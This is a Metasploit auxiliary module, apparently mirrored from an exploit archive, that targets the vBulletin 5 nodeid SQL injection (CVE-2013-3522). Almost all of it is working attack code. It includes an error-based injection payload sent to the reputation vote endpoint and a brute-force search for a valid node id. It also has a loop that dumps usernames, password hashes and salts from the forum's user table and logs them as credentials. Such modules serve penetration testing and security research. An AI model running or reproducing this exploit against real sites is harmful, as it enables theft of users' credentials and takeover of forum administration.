## https://sploitus.com/exploit?id=PACKETSTORM:180631
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin Password Collector via nodeid SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability found in vBulletin 5 that has been
used in the wild since March 2013. This module can be used to extract the web application's
usernames and hashes, which could be used to authenticate into the vBulletin admin control
panel.
},
'References' =>
[
[ 'CVE', '2013-3522' ],
[ 'OSVDB', '92031' ],
[ 'EDB', '24882' ],
[ 'BID', '58754' ],
[ 'URL', 'http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt' ]
],
'Author' =>
[
'Orestis Kourides', # Vulnerability discovery and PoC
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2013-03-24'
))
register_options(
[
OptString.new("TARGETURI", [true, 'The path to vBulletin', '/']),
OptInt.new("NODE", [false, 'Valid Node ID']),
OptInt.new("MINNODE", [true, 'Valid Node ID', 1]),
OptInt.new("MAXNODE", [true, 'Valid Node ID', 100])
])
end
def exists_node?(id)
mark = Rex::Text.rand_text_alpha(8 + rand(5))
result = do_sqli(id, "select '#{mark}'")
if result and result =~ /#{mark}/
return true
end
return false
end
def brute_force_node
min = datastore["MINNODE"]
max = datastore["MAXNODE"]
if min > max
print_error("MINNODE can't be major than MAXNODE")
return nil
end
for node_id in min..max
if exists_node?(node_id)
return node_id
end
end
return nil
end
def get_node
if datastore['NODE'].nil? or datastore['NODE'] <= 0
print_status("Brute forcing to find a valid node id...")
return brute_force_node
end
print_status("Checking node id #{datastore['NODE']}...")
if exists_node?(datastore['NODE'])
return datastore['NODE']
else
return nil
end
end
# session maybe isn't needed, unauthenticated
def do_sqli(node, query)
mark = Rex::Text.rand_text_alpha(5 + rand(3))
random_and = Rex::Text.rand_text_numeric(4)
injection = ") and(select 1 from(select count(*),concat((select (select concat('#{mark}',cast((#{query}) as char),'#{mark}')) "
injection << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) "
injection << "AND (#{random_and}=#{random_and}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "index.php", "ajax", "api", "reputation", "vote"),
'vars_post' =>
{
'nodeid' => "#{node}#{injection}",
}
})
unless res and res.code == 200 and res.body.to_s =~ /Database error in vBulletin/
return nil
end
data = ""
if res.body.to_s =~ /#{mark}(.*)#{mark}/
data = $1
end
return data
end
def get_user_data(node_id, user_id)
user = do_sqli(node_id, "select username from user limit #{user_id},#{user_id+1}")
pass = do_sqli(node_id, "select password from user limit #{user_id},#{user_id+1}")
salt = do_sqli(node_id, "select salt from user limit #{user_id},#{user_id+1}")
return [user, pass, salt]
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "index.php")
})
if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
if get_node
# Multiple factors determine this LOOKS vulnerable
return Msf::Exploit::CheckCode::Appears
else
# Not enough information about the vuln state, but at least we know this is vbulletin
return Msf::Exploit::CheckCode::Detected
end
end
Msf::Exploit::CheckCode::Safe
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: 'md5'
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
print_status("Checking for a valid node id...")
node_id = get_node
if node_id.nil?
print_error("node id not found")
return
end
print_good("Using node id #{node_id} to exploit sqli... Counting users...")
data = do_sqli(node_id, "select count(*) from user")
if data.blank?
print_error("Error exploiting sqli")
return
end
count_users = data.to_i
print_good("#{count_users} users found. Collecting credentials...")
users_table = Rex::Text::Table.new(
'Header' => 'vBulletin Users',
'Indent' => 1,
'Columns' => ['Username', 'Password Hash', 'Salt']
)
for i in 0..count_users
user = get_user_data(node_id, i)
unless user.join.empty?
report_cred(
ip: rhost,
port: rport,
user: user[0],
password: user[1],
service_name: (ssl ? "https" : "http"),
proof: "salt: #{user[2]}"
)
users_table << user
end
end
if users_table.rows.length > 0
print_good("#{users_table.rows.length.to_s} credentials successfully collected")
print_line(users_table.to_s)
else
print_error("Unfortunately the module was unable to extract any credentials")
end
end
end